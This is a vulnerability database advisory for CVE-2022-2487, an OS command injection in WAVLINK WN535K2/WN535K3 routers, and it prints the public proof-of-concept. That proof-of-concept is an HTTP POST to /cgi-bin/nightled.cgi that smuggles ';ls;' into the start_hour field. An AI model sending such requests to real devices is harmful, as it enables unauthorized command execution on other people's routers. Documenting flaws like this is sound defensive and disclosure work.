



VDB-204538 · CVE-2022-2487

WAVLINK WN535K2/WN535K3 /CGI-BIN/NIGHTLED.CGI START_HOUR OS COMMAND INJECTION

CVSS Meta Temp Score (?)

8.4

Current Exploit Price (≈) (?)

\$0-\$5k

CTI Interest Score (?)

0.05

A vulnerability has been found in WAVLINK WN535K2 and WN535K3 (the affected version is unknown) and classified as critical. This vulnerability affects an unknown code block of the file `/cgi-bin/nightled.cgi`. The manipulation of the argument `start_hour` with an unknown input leads to a os command injection vulnerability. The CWE definition for the vulnerability is CWE-78. The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was presented 07/20/2022. The advisory is available at github.com. This vulnerability was named CVE-2022-2487. Technical details and also a public exploit are known. This vulnerability is assigned to T1202 by the MITRE ATT&CK project.

It is declared as proof-of-concept. It is possible to download the exploit at github.com. The code used by the exploit is:

```
POST /cgi-bin/nightled.cgi HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

page=night_led&start_hour=;ls;
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Product

Vendor

- WAVLINK

Name

- WN535K2
- WN535K3

CPE 2.3

- 
- 

CPE 2.2

- 
- 

CVSSv3

VulDB Meta Base Score: 8.6

VulDB Meta Temp Score: 8.4

VulDB Base Score: 8.0

VulDB Temp Score: 7.3


VulDB Vector: 

VulDB Reliability: 

NVD Base Score: 9.8




NVD Vector: 

CNA Base Score: 8.0

CNA Vector (VulDB): 

CVSSv2







VulDB Base Score: 
VulDB Temp Score: 
VulDB Reliability: 

Exploiting

Class: Os command injection
CWE: CWE-78 / CWE-74 / CWE-707
ATT&CK: T1202




Local: No
Remote: Partially

Availability: 
Access: Public
Status: Proof-of-Concept
Download: 


EPSS Score: 
EPSS Percentile: 

Price Prediction: 
Current Price Estimation: 

Threat Intelligence

Interest: 
Active Actors: 
Active APT Groups: 

Countermeasures

Recommended: no mitigation known
Status: 

0-Day Time: 

Timeline

07/20/2022		Advisory disclosed
07/20/2022	+0 days	CVE reserved
07/20/2022	+0 days	VulDB entry created

07/20/2022	+0 days	VulDB entry created
08/15/2022	+26 days	VulDB last update

Sources

Advisory: [github.com](#)

Status: Not defined

CVE: CVE-2022-2487 (🔒)

scip Labs: <https://www.scip.ch/en/?labs.20161013>

Entry

Created: 07/20/2022 08:39 AM

Updated: 08/15/2022 08:32 AM

Changes: 07/20/2022 08:39 AM (40), 07/20/2022 08:40 AM (1), 08/15/2022 08:28 AM (2), 08/15/2022 08:32 AM (21)

Complete: 🔍

Submitter: [webray.com.cn](#)

Discussion

No comments yet. Languages: en.

Please log in to comment.